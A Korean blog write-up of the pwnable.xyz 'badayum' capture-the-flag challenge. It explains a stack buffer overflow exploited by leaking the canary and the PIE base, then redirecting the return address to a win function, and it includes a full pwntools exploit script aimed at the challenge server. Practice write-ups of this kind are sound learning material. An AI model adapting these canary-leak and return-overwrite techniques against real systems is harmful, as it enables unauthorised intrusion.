상세 컨텐츠

본문 제목

[pwnable.xyz] badayum

SYSTEM HACKING/pwnable.xyz

by koharin 2020. 2. 28. 17:00

본문

728x90
반응형

# Protection Tech

 


# process

 

Pie가 적용된 바이너리 경우 코드 영역 값이 offset 값이다.

Offset 값 이용해 할당된 메모리 영역에 동적으로 위치할 수 있다.

할당받은 메모리 영역(0x555555554000)+ main 함수 코드 offset (0x7c3) = main 함수 시작주소(0x00005555555547c3)

 

구조 : [s][canary][SFP][RET]

 

Payload = ‘A’*0x70 + canary(구해야 함) + ‘B’*8 + p64(pie + 0xd30)

 

따라서 canary leak과 pie leak으로 rtl을 진행해서 return address에 win 주소를 넣으면 된다.

 

1) canary leak

 

0x68 다음 8바이트가 canary이므로 0x68의 더미 후 문자 하나를 입력하면 cananry leak이 가능하다.

(문자를 줘도 상관없는 이유는 cananry 상위 1바이트가 null byte이기 때문)

 

따라서 받을 때 "\x00"을 붙이고 p.recv(7)을 한다.

 

 

'A'*0x68 + 'B' 입력 후 stack 상태이다. canary의 상위 1바이트가 'B'로 덮힌 것을 확인 할 수 있다.

'B'까지 받은 후 null byte + p.recv(7)을 하면 canary 값을 구할 수 있다.

 

2) pie leak

 

0x68의 buf 뒤 canary + sfp 뒤의 8바이트가 return address이다.

이 return address에 들어있는 값과 pie base와의 offset을 구해서 pie를 구한다.

 

 

0x1081의 offset이므로 이번에는 하위 2바이트가 null byte이므로 p.recv(6) 후 null byte 2개를 붙인다.

이때는 그냥 'A'*0x78을 주고 'A'*0x78까지 recv한 후 받아야지 leak이 잘 됐다.

 

 

* 주의해야 할 점이 me에서 주는 길이가 항상 달라서 이 길이에 따라 내가 보낼 수 있는 payload 길이도 제한된다.

따라서 me에서 주는 출력 길이가 내가 주는 payload 길이 이상일 때만 payload를 전달하는 조건을 만들어야 한다.

 

 

3) return address -> win

 

pie base에 win 함수의 offset인 0xd30을 더해서 win 함수 주소를 구하고, 이것을 return address에 넣는다.

 

 

payload = s(0x68) + canary(0x8) + SFP(0x8) + win


# exploit code

 

#!/usr/bin/python                                                                       
from pwn import *

#context.log_level = 'debug'
#p = process("./challenge")
p = remote("svc.pwnable.xyz", 30027)
#gdb.attach(p)

while True:
    p.recvuntil("\n")
    pay = 'A'*0x68 + 'B'
    p.sendafter("you > ", pay)
    p.recvuntil('B')
    canary = u64("\x00" + p.recv(7))
    break

log.info("canary : "+hex(canary))

while True:
    p.recvuntil("me  > ")
    me = p.recvuntil("\n")
    pay = 'A'*0x77 + 'B'  # s(0x68) + canary(0x8) + sfp(0x8) + ret
    if len(me) >= len(pay):
        p.sendafter("you > ", pay)
        p.recvuntil('B')
        pie = u64(p.recv(6)+ "\x00\x00") - 0x1081
        break
    else:
        p.sendafter("you > ", 'D')

log.info("pie : "+hex(pie))
while True:
    p.recvuntil("me  > ")
    me = p.recvuntil("\n")
    pay = 'A'*0x68 + p64(canary) + p64(0) + p64(pie+0xd30)
    if len(me) >= len(pay):
        p.sendafter("you > ", pay)
        break
    else:
        p.sendafter("you > ", 'D')

p.sendafter("you > ", "exit")
                                                                                        
p.interactive()

 

# exploit

 


 

728x90
반응형

'SYSTEM HACKING > pwnable.xyz' 카테고리의 다른 글

[pwnable.xyz] catalog  (0) 2020.03.09
[pwnable.xyz] message  (0) 2020.02.28
[pwnable.xyz] executioner  (0) 2020.02.28
[pwnable.xyz] J-U-M-P  (0) 2020.02.28
[pwnable.xyz] strcat  (0) 2020.02.27

관련글 더보기